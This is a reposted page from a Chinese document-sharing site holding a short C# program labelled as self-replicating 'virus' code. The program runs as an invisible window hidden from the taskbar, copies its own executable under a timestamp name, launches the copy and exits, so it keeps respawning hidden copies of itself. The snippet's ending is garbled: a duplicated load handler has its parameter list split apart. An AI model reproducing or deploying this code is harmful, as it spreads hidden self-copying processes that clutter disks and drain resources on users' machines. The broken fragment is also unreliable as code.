c#自我复制'病毒'代码 win32copy_self

2022-05-19 23:04:18   第一文档网     [ 字体: ] [ 阅读: ] [ 文档下载 ]
说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。下载word有问题请添加QQ:admin处理,感谢您的支持与谅解。点击这里给我发消息

#第一文档网# 导语】以下是®第一文档网的小编为您整理的《c#自我复制'病毒'代码 win32copy_self》,欢迎阅读!
c#,复制,自我,病毒,代码

public partial class Form1 : Form {

public Form1() {

this.Opacity = 0;

InitializeComponent(); }

void copy_self() {

const int ntotal = 10; int nnum = ntotal;

string filepn = Application.ExecutablePath; string sztime = DateTime.Now.Ticks.ToString(); string filen = Path.GetFileName(filepn); while (nnum-- > 0) {

FileStream fsr = new FileStream(filen, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); byte[] bfiler = new byte[fsr.Length]; fsr.Read(bfiler, 0, bfiler.Length);

FileStream fsw = new FileStream(sztime + ".exe", FileMode.OpenOrCreate, FileAccess.Write, FileShare.None);

fsw.Write(bfiler, 0, bfiler.Length); fsw.Close();

System.Diagnostics.Process.Start(sztime + ".exe");

System.Threading.Thread.Sleep(2); Application.Exit();

// string filep = Application.StartupPath; } }


private void Form1_Load(object sender, EventArgs e) {

this.ShowInTaskbar = false;

copy_self();

// Application.Exit();

}

}

private void Form1_Load(object sender, {

this.ShowInTaskbar = false;

copy_self(); }



EventArgs e)

本文来源:https://www.dywdw.cn/729263f5c8d376eeaeaa31aa.html

相关推荐
推荐阅读